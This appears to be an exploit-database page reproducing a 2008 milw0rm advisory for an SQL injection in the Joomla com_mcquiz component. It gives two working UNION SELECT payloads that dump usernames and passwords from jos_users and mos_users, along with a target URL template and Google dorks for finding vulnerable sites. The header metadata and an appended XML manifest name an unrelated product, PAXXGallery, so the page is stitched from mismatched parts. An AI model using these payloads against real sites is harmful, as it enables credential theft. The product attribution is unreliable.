header-logo
Suggest Exploit
vendor:
PAXXGallery
by:
S@BUN
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: PAXXGallery
Affected Version From: 0.2
Affected Version To: 0.2
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Joomla
2008

Joomla SQL Injection (com_mcquiz)

An attacker can see the username and password of a Joomla website by exploiting a SQL injection vulnerability in the com_mcquiz component. The attacker can use the following two exploits to achieve this: 1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),0x3a/**/from/**/jos_users/* and 1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

Mitigation:

Ensure that all user input is properly sanitized and validated before being used in a SQL query.
Source

Exploit-DB raw data:

###############################################################
#
# joomla SQL Injection(com_mcquiz)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
# http://www.milw0rm.com/author/1334
#
# MAİL : hackturkiye.hackturkiye@gmail.com
#
#
################################################################
#
# DORK 1 : allinurl: com_mcquiz "tid"
#
# DORK 2 : allinurl: com_mcquiz
#
################################################################

ATTACKER CAN SEE PASSWORD AND USERNAME UNDER PAGE

EXAMPLE=www.xxxxx.com/index.php?option=com_mcquiz&task=user_tst_shw&Itemid=xxx&tid= [EXPLOİT]

EXPLOIT=1=

1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),concat(username,0x3a,password),0x3a/**/from/**/jos_users/*

EXPLOİT=2=

1/**/union/**/select/**/0,concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mos_users/*

################################################################
# S@BUN               i AM NOT HACKER                     S@BUN
################################################################

	<name>paxxgallery</name>
	<author>Tobias Floery</author>
	<copyright>(c) Tobias Floery</copyright>
	<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license>
	<authorEmail>tobias@floery.net</authorEmail>

	<authorUrl>www.floery.net</authorUrl>
	<version>0.2</version>
	<creationDate>07.01.2006</creationDate>
	<description>
		<![CDATA[
		<h1>The PHP AjaX Gallery</h1>
		PAXXGallery is a PHP and JS Gallery Component for Joomla using AJAX Technology. 
		The component is designed to work even with Safe- Mode: ON! servers and a FTP Upload is integrated.
		]]>
	</description>

# milw0rm.com [2008-02-14]